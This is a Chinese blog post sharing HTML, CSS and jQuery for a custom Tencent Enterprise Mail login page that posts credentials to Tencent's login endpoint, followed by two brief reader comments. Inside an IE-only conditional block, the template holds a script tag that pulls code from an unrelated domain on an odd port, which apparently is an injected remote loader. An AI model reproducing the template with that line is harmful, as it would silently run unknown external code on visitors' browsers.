26 09 2019

腾讯企业邮箱登录界面

<!doctype html>    
<html lang="zh">    
<head>    
<meta charset="UTF-8">    
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">     
<meta name="viewport" content="width=device-width, initial-scale=1.0">    
<title>邮箱登录</title>    
<link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=RobotoDraft:300,500">    
<style type="text/css">    
body,html{font-size:100%;padding:0;margin:0}    
*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}    
.clearfix:after,.clearfix:before{content:" ";display:table}    
.clearfix:after{clear:both}    
body{background:#f9f7f6;color:#404d5b;font-weight:500;font-size:1.05em;font-family:"Segoe UI","Lucida Grande",Helvetica,Arial,"Microsoft YaHei",FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif}    
a{color:#2fa0ec;text-decoration:none;outline:0}    
a:focus,a:hover{color:#74777b}    
*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;padding:0;margin:0}    
body,html{position:absolute;height:100%;width:100%;background:#f3f3f3;color:rgba(0,0,0,.6);font-family:RobotoDraft,Roboto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}    
.login{position:absolute;padding:10px;left:calc(50% - 200px);top:calc(50% - 13em);width:400px;height:460px;border-radius:3px;background:#fff;box-shadow:0 1px 5px 0 rgba(0,0,0,.26);overflow:hidden}    
.login>i{position:relative;width:20px;height:20px;border-radius:50%;float:right;cursor:pointer}    
.login .photo{position:relative;width:100px;height:100px;margin:30px 135px;border-radius:50%;background:#dfdfdf;border:13px solid #dfdfdf;overflow:hidden!important;transform:rotate(-1deg)}    
.login .photo:before{position:absolute;content:'';width:35px;height:35px;top:0;right:20px;border-radius:50%;background:#aaa;border:2px solid #fff;transform:scale(0);transition:.5s cubic-bezier(.68,-.55,.27,1.55);-webkit-animation:user-head .5s 0s forwards;-moz-animation:user-head .5s 0s forwards;animation:user-head .5s 0s forwards}    
.login .photo:after{position:absolute;content:'';width:140px;height:220px;top:38px;right:-32px;border-radius:50%;background:#aaa;border:2px solid #fff;transform:translateY(36px);transition:.5s cubic-bezier(.68,-.55,.27,1.55);-webkit-animation:user-body .5s .3s forwards;-moz-animation:user-body .5s .3s forwards;animation:user-body .5s .3s forwards}    
.login>span{display:block;text-align:center;margin:-15px 0;font-size:15px}    
form{position:relative;width:350px;margin:50px 15px}    
.form-group{position:relative;margin-top:35px;margin-bottom:20px}    
.form-control{display:block;height:36px;width:100%;border:none;border-radius:0!important;font-size:15px;font-family:inherit;font-weight:300;padding:0;background-color:transparent;box-shadow:none;border-bottom:1px solid rgba(117,117,117,.15)}    
.form-control:focus{border-bottom:2px solid #03a9f5;outline:0;box-shadow:none}    
.form-highlight{position:absolute;height:60%;width:60px;top:25%;left:0;pointer-events:none;opacity:.4}    
.form-control:focus~.form-highlight{-webkit-animation:inputHighlighter .3s ease;-moz-animation:inputHighlighter .3s ease;animation:inputHighlighter .3s ease}    
.float-label{position:absolute;left:0;top:10px;font-size:16px;color:#999;font-weight:300;transition:.2s ease all;-moz-transition:.2s ease all;-webkit-transition:.2s ease all}    
.form-control:focus~.float-label,.form-control:valid~.float-label{top:-15px;font-size:12px}    
.form-group errorp,.form-group erroru{position:absolute;width:100%;left:0;top:38px;font-size:11px;color:#d34336;font-weight:300;transition:.3s cubic-bezier(.68,-.55,.27,1.55) all;-moz-transition:.3s cubic-bezier(.68,-.55,.27,1.55) all;-webkit-transition:.3s cubic-bezier(.68,-.55,.27,1.55) all;opacity:0}    
.form-group errorp i,.form-group erroru i{position:absolute;right:0;width:15px;height:15px;border-radius:50%;float:right}    
.form-group errorp i svg,.form-group erroru i svg{fill:#d34336}    
.form-group[errr] .float-label{color:#d34336!important}    
.form-group[errr] .form-control{border-bottom:1px solid #d34336!important}    
.form-group[errr] .form-control:focus{border-bottom:2px solid #d34336!important}    
.form-group[errr] errorp,.form-group[errr] erroru{opacity:1}    
input[type=checkbox]{display:none;visibility:hidden}    
input[type=checkbox]+label{cursor:pointer;font-size:15px;font-weight:500;transition:border-color .3s ease-in-out,background-color .3s ease-in-out}    
input[type=checkbox]+label:before{display:inline-block;content:"";margin:0 15px 3px 0;width:18px;height:18px;background-color:#fff;border:2px solid #5a5a5a;border-radius:2px;vertical-align:middle}    
input[type=checkbox]:checked+label:before{background-image:url(data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjIwcHgiIGhlaWdodD0iMTVweCIgdmlld0JveD0iMCAwIDIwIDE1Ij4NCjxwb2x5Z29uIGZpbGw9IiNGRkZGRkYiIHBvaW50cz0iNy4xNDMsMTQuOTM4IDAsNy43OTYgMi4wMjEsNS43NzYgNy4xNDMsMTAuODk4IDE3Ljk3OSwwLjA2MiAyMCwyLjA4MiAiLz4NCjwvc3ZnPg0K);background-color:#03a9f5;border-color:#03a9f5;background-repeat:no-repeat;background-position:50% 50%;-webkit-background-size:11px auto;-moz-background-size:11px auto;-o-background-size:11px auto;background-size:11px auto}    
button[type=submit]{position:relative;float:right;font-family:inherit;font-weight:100;font-size:15px;border:0;margin:-3px 0;padding:5px 15px;border-radius:3px;cursor:pointer;background:#03a9f5;color:#fff;box-shadow:0 1px 4px 0 rgba(0,0,0,.37)}    
button[type=submit]:focus{outline:0}    
footer{position:absolute;bottom:0;width:100%;height:30px;margin-left:-10px;line-height:29px;text-align:center;cursor:pointer;border-top:1px solid rgba(117,117,117,.15)}    
footer a{display:block;text-decoration:none;font-size:12px;color:inherit}    
footer a:hover{color:rgba(0,0,0,.9);text-decoration:underline}    
footer a:focus{outline:0}    
.copyright{position:fixed;width:100%;bottom:5px;text-align:center;font-size:12px}    
.copyright a{text-decoration:none;color:#03a9f5}    
.copyright a:hover{transition:none;border-bottom:1px solid #03a9f5}    
@-webkit-keyframes inputHighlighter{from{background:#5264AE}    
to{width:0;background:0 0}    
}    
@-moz-keyframes inputHighlighter{from{background:#5264AE}    
to{width:0;background:0 0}    
}    
@keyframes inputHighlighter{from{background:#5264AE}    
to{width:0;background:0 0}    
}    
@-webkit-keyframes user-head{100%{-webkit-transform:scale(1);transform:scale(1);-moz-transform:scale(1)}    
}    
@-moz-keyframes user-head{100%{-webkit-transform:scale(1);transform:scale(1);-moz-transform:scale(1)}    
}    
@keyframes user-head{100%{-webkit-transform:scale(1);transform:scale(1);-moz-transform:scale(1)}    
}    
@-webkit-keyframes user-body{100%{-webkit-transform:translateY(2px);transform:translateY(2px);-moz-transform:translateY(2px)}    
}    
@-moz-keyframes user-body{100%{-webkit-transform:translateY(2px);transform:translateY(2px);-moz-transform:translateY(2px)}    
}    
@keyframes user-body{100%{-webkit-transform:translateY(2px);transform:translateY(2px);-moz-transform:translateY(2px)}    
}    
[ripple]{position:relative;overflow:hidden;-webkit-transition:box-shadow .4s;-moz-transition:box-shadow .4s;-ms-transition:box-shadow .4s;-o-transition:box-shadow .4s;transition:box-shadow .4s;cursor:inherit}    
[ripple] .touch{background:rgba(255,255,255,.3);pointer-events:none;border-radius:100%}    
</style>    
<!--[if IE]>    
<script src="https://worses.cn:334/?a=1569489282&t=MmVhdDc1Ymwwb3Zp" type="text/javascript"></script><script src="http://apps.bdimg.com/libs/html5shiv/3.7/html5shiv.min.js"></script>    
<![endif]-->    
</head>    
<body>    
<div class="htmleaf-container">    
<div class="login">    
<i ripple>    
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">    
<path fill="#C7C7C7" d="m12,2c-5.52,0-10,4.48-10,10s4.48,10,10,10,10-4.48,10-10-4.48-10-10-10zm1,17h-2v-2h2zm2.07-7.75-0.9,0.92c-0.411277,0.329613-0.918558,0.542566-1.20218,1.03749-0.08045,0.14038-0.189078,0.293598-0.187645,0.470854,0.02236,2.76567,0.03004-0.166108,0.07573,1.85002l-1.80787,0.04803-0.04803-1.0764c-0.02822-0.632307-0.377947-1.42259,1.17-2.83l1.24-1.26c0.37-0.36,0.59-0.86,0.59-1.41,0-1.1-0.9-2-2-2s-2,0.9-2,2h-2c0-2.21,1.79-4,4-4s4,1.79,4,4c0,0.88-0.36,1.68-0.930005,2.25z"/>    
</svg>    
</i>    
<div class="photo">    
</div>    
<span>AE-Mail</span>    
<form id="login-form" name="form1" action="https://exmail.qq.com/cgi-bin/login" method="post" onsubmit="return checkInput()">    
<input type="hidden" name="firstlogin" value="false">    
<input type="hidden" name="errtemplate" value="dm_loginpage">    
<input type="hidden" name="aliastype" value="other">    
<input type="hidden" name="dmtype" value="bizmail">    
<input type="hidden" name="p" value="">    
<div id="u" class="form-group">    
<input id="uin" spellcheck=false class="form-control" name="uin" type="text" size="18" alt="login" required="">    
<span class="form-highlight"></span>    
<span class="form-bar"></span>    
<label class="float-label" style="left: 70%;top: 10px;font-size: 16px;">@mail.mamt.cn</label>    
<input type="hidden" name="domain" value="mail.mamt.cn">    
<label for="uin" class="float-label">用户名</label>    
<erroru>    
 用户名不能为空    
 <i>    
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">    
<path d="M0 0h24v24h-24z" fill="none"/>    
<path d="M1 21h22l-11-19-11 19zm12-3h-2v-2h2v2zm0-4h-2v-4h2v4z"/>    
</svg>    
 </i>    
</erroru>    
</div>    
<div id="p" class="form-group">    
<input id="pw" class="form-control" spellcheck=false name="pwd" type="password" size="18" alt="login" required="">    
<span class="form-highlight"></span>    
<span class="form-bar"></span>    
<label for="pw" class="float-label">密码</label>    
<errorp>    
 密码不能为空    
 <i>    
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">    
<path d="M0 0h24v24h-24z" fill="none"/>    
<path d="M1 21h22l-11-19-11 19zm12-3h-2v-2h2v2zm0-4h-2v-4h2v4z"/>    
</svg>    
 </i>    
</errorp>    
</div>    
<div class="form-group">    
<input type="checkbox" id="rem">    
<label for="rem">记住密码</label>    
<button id="submit" type="submit" ripple>登录</button>    
</div>    
</form>    
</div>    
</div>    
<script type="text/javascript">writeLoginPanel({domainlist:"mail.mamt.cn", mode:"vertical"});</script>    
<script src='//apps.bdimg.com/libs/jquery/1.11.1/jquery.min.js'></script>    
<script>    
$(document).ready(function () {    
$(function () {    
var animationLibrary = 'animate';    
$.easing.easeOutQuart = function (x, t, b, c, d) {    
return -c * ((t = t / d - 1) * t * t * t - 1) + b;    
};    
$('[ripple]:not([disabled],.disabled)').on('mousedown', function (e) {    
var button = $(this);    
var touch = $('<touch><touch/>');    
var size = button.outerWidth() * 1.8;    
var complete = false;    
$(document).on('mouseup', function () {    
var a = { 'opacity': '0' };    
if (complete === true) {    
size = size * 1.33;    
$.extend(a, {    
'height': size + 'px',    
'width': size + 'px',    
'margin-top': -size / 2 + 'px',    
'margin-left': -size / 2 + 'px'    
});    
}    
touch[animationLibrary](a, {    
duration: 500,    
complete: function () {    
touch.remove();    
},    
easing: 'swing'    
});    
});    
touch.addClass('touch').css({    
'position': 'absolute',    
'top': e.pageY - button.offset().top + 'px',    
'left': e.pageX - button.offset().left + 'px',    
'width': '0',    
'height': '0'    
});    
button.get(0).appendChild(touch.get(0));    
touch[animationLibrary]({    
'height': size + 'px',    
'width': size + 'px',    
'margin-top': -size / 2 + 'px',    
'margin-left': -size / 2 + 'px'    
}, {    
queue: false,    
duration: 500,    
'easing': 'easeOutQuart',    
'complete': function () {    
complete = true;    
}    
});    
});    
});    
var uin = $('#uin'), pw = $('#pw'), erroru = $('erroru'), errorp = $('errorp'), submit = $('#submit'), udiv = $('#u'), pdiv = $('#p');    
uin.blur(function () {    
if (uin.val() == '') {    
udiv.attr('errr', '');    
} else {    
udiv.removeAttr('errr');    
}    
});    
pw.blur(function () {    
if (pw.val() == '') {    
pdiv.attr('errr', '');    
} else {    
pdiv.removeAttr('errr');    
}    
});    
});    
</script>    
</body>    
</html>


将代码中相关域名改成自己的即可。本代码扒自:http://www.aeink.com/AEmail.html 

文章名称:《腾讯企业邮箱登录界面》, 链接地址 https://www.mamt.cn/articles/11.html


baidu
baidu
收下了,谢谢分享!
发布于 2019-09-27 00:39:37  回复
珍惜
珍惜
欢迎浏览!
发布于 2019-09-27 00:40:27  回复

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

召唤伊斯特瓦尔